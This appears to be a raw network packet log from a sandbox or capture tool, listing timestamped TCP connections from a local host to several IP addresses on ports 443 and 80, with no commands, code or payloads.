Dec 9, 2024 06:50:33.186939955 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.186952114 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.187700987 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.187700987 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.187707901 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.187733889 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.188108921 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.188118935 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.465194941 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.466646910 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.468631983 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.468704939 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.468820095 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.468820095 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.468832016 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.468839884 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.470498085 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.470581055 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.470662117 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.470681906 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.473675966 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.473684072 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.473718882 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.473721027 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.473798037 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.473824024 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.474087000 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.474088907 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.474098921 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.474103928 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.499439955 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.500056028 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.500082970 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.500658035 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.500672102 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.619738102 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.620269060 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.623361111 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.623485088 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.623548985 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.623554945 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.623558998 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.623821020 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.624006033 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.624006033 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.624022961 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.624031067 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.624779940 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.624813080 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.624844074 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.624850035 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.628195047 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.628235102 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.628667116 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.629614115 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.629651070 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.629818916 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.629894018 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.629913092 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.630131006 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.630143881 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.717175007 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.836493969 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:33.836591005 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.836812019 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:33.933626890 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.936667919 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.936783075 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.936783075 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.936949015 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.936966896 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.939546108 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.939596891 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.939762115 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.939883947 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.939896107 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.956038952 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:34.935600042 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:34.935667992 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:34.944489002 CET	49924	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:34.944535017 CET	443	49924	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:34.944854975 CET	49924	443	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:35.187165976 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.187797070 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.187808990 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.188126087 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.188133955 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.188561916 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.188862085 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.188889980 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.189214945 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.189218998 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.344571114 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.345113039 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.345151901 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.345654964 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.345659971 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.348854065 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.349215031 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.349246979 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.349582911 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.349590063 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.619832039 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.621320009 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.623697042 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.623759031 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.623878956 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.623897076 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.623908043 CET	49919	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.623914003 CET	443	49919	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.625266075 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.625308037 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.625334978 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.625391960 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.625725985 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.625745058 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.625756025 CET	49918	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.625761032 CET	443	49918	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.628037930 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.628067017 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.628665924 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.629446983 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.629463911 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.629697084 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.629833937 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.629848957 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.629888058 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.629895926 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.670711040 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.671243906 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.671258926 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.671777010 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.671785116 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.777748108 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.777844906 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.777894020 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.778314114 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.778345108 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.778357029 CET	49921	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.778363943 CET	443	49921	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.781631947 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.782742977 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.782906055 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.782991886 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.783133984 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.783200026 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.785558939 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.785624027 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.785634995 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.785680056 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.785727024 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.785748959 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.785761118 CET	49920	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.785767078 CET	443	49920	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.789201021 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.789238930 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.789304972 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.789975882 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:35.789988995 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:35.978935957 CET	80	49872	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:35.981687069 CET	49872	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:35.981777906 CET	49872	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:36.082202911 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:36.101723909 CET	80	49872	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:36.104248047 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.107774019 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.107829094 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.107830048 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.107897997 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.107986927 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.108009100 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.108021975 CET	49923	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.108027935 CET	443	49923	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.111494064 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.111526966 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.111712933 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.112826109 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:36.112837076 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:36.201520920 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.395900011 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:36.395992994 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:37.213772058 CET	49930	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:37.328527927 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.329261065 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.329291105 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.329739094 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.329751968 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.333079100 CET	80	49930	23.111.175.138	192.168.2.11
Dec 9, 2024 06:50:37.333183050 CET	49930	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:37.333501101 CET	49930	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:37.344093084 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.344096899 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.344573975 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.344583035 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.344633102 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.344656944 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.345032930 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.345037937 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.345138073 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.345146894 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.452675104 CET	80	49930	23.111.175.138	192.168.2.11
Dec 9, 2024 06:50:37.520998001 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.521862030 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.521886110 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.522593021 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.522598982 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.551542997 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:37.670839071 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:37.761883020 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.765103102 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.765155077 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.765166998 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.765223026 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.765291929 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.765311003 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.765325069 CET	49928	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.765331030 CET	443	49928	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.768661976 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.768704891 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.768778086 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.769212008 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.769223928 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.777698994 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.777724981 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.777769089 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.777817011 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.777956009 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.777965069 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.777975082 CET	49926	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.777981997 CET	443	49926	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.778363943 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.778426886 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.778479099 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.781055927 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.781202078 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.781307936 CET	49925	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.781368971 CET	443	49925	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.781711102 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.781754017 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.781830072 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.782391071 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.782402039 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.784301043 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.784324884 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.784401894 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.784638882 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.784652948 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.833971024 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.834323883 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.834347010 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.834809065 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.834814072 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.865464926 CET	80	49922	1.1.1.1	192.168.2.11
Dec 9, 2024 06:50:37.865605116 CET	49922	80	192.168.2.11	1.1.1.1
Dec 9, 2024 06:50:37.954068899 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954094887 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954185963 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.954263926 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954613924 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.954699993 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954722881 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.954884052 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954915047 CET	443	49927	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.954979897 CET	49927	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.957808971 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.957847118 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:37.957931042 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.958403111 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:37.958411932 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.052234888 CET	49935	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:38.172504902 CET	80	49935	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:38.172583103 CET	49935	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:38.172786951 CET	49935	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:38.273113012 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.276119947 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.276192904 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.276226044 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.276245117 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.276273966 CET	49929	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.276279926 CET	443	49929	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.278780937 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.278809071 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.279196024 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.279436111 CET	49936	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:38.279452085 CET	443	49936	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:38.292073011 CET	80	49935	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:39.482305050 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.482996941 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.483027935 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.483340025 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.483347893 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.495527983 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.495897055 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.495917082 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.496267080 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.496273041 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.497912884 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.498552084 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.498552084 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.498567104 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.498584032 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.671036005 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.671930075 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.671931028 CET	49934	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.671952009 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.671967983 CET	443	49934	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.917097092 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.920162916 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.920221090 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.920320034 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.920320034 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.920526028 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.920543909 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.920579910 CET	49931	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.920586109 CET	443	49931	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.923130989 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.923186064 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.923319101 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.926861048 CET	49937	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.926877022 CET	443	49937	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.931586027 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.931675911 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.931905985 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.931941986 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.931941986 CET	49932	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.931962967 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.931972027 CET	443	49932	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.932586908 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.932614088 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.932655096 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.932692051 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.932796955 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.932885885 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.932885885 CET	49933	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.932899952 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.932908058 CET	443	49933	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.939515114 CET	49938	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939531088 CET	443	49938	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:39.939625978 CET	49939	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:39.939650059 CET	443	49939	13.107.246.63	192.168.2.11
